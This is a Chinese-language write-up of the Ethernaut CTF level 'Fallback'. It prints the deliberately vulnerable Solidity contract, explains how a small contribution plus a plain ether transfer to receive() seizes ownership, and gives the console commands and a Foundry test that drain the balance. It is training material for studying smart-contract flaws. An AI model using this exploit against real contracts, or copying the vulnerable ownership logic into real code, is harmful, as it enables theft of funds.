Ethernaut CTF Level 1 - Fallback

• Ethernaut CTF Level 1 - Fallback
  • 題目
  • 分析
  • 攻擊
  • Foundry Test

題目

仔細看下面的合約程式碼。

要通過這關你需要

• 獲得這個合約的所有權
• 把合約的餘額歸零

可能會有用的資訊

• 如何透過與 ABI 互動發送 ether
• 如何在 ABI 之外發送 ether
• 轉換 wei/ether 單位 (參見 help() 指令)
• fallback 方法
  
  

分析

來看一下合約，可以發現最終目標 withdraw()有 onlyOwner() modifier保護住

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

在執行withdraw()之前，要先通過onlyOwner()的檢查

• 在這邊 msg.sender (傳送交易的人) 需要等於預定義的 owner
• owner在deploy contract時透過一次性constructor function定義好
• 所以這邊的owner一開始會是 deploy contract 的address

modifier onlyOwner {
    require(
        msg.sender == owner,
        "caller is not the owner"
    );
    _;
}

不過，在code之中看到了一絲希望

• receive function是solidity的特殊function
• 呼叫時，如果智能合約中沒有相對應的function + transaction中的calldata為空時會觸發

The receive function is executed on a call to the contract with empty calldata.
https://docs.soliditylang.org/en/v0.8.1/contracts.html#receive-ether-function

• 通過Check之後可以更改owner

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

所以攻擊思路出現了

• 呼叫contribute()讓 contributions[msg.sender] > 0
• 呼叫 receive(), update owner
• 呼叫withdrawal()
  
  

攻擊

用以下格式，傳送msg.value要求

await contract.contribute({value: toWei("0.000001")})

檢查目前的owner，並且發送sendTransaction()以此觸發receive()

await contract.owner() 
await contract.sendTransaction({value: toWei("0.0001")}) 

重新檢查owner可以發現已經被update了，

await contract.owner() 

最後呼叫withdraw()
確保合約的balance已經被提款出來，提交結束這關

await contract.withdraw()
await getBalance(instance)

Foundry Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "../src/levels/01-Fallback/Fallback.sol"; // test/Billy/ folder

contract ContractTest2 is DSTest {
    Fallback level1 =
        Fallback(payable(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1));

    function setUp() public {
        Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
        vm.createSelectFork(vm.rpcUrl("sepolia"));

        vm.label(address(this), "Attacker");
        vm.label(
            address(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1),
            "Ethernaut01"
        );
    }

    function testEthernaut01() public {
        level1.owner();

        level1.contribute{value: 1 wei}();
        level1.getContribution();

        address(level1).call{value: 1 wei}("");

        assert(address(this) == level1.owner()); // Attacker
        level1.withdraw();
    }

    receive() external payable {}
}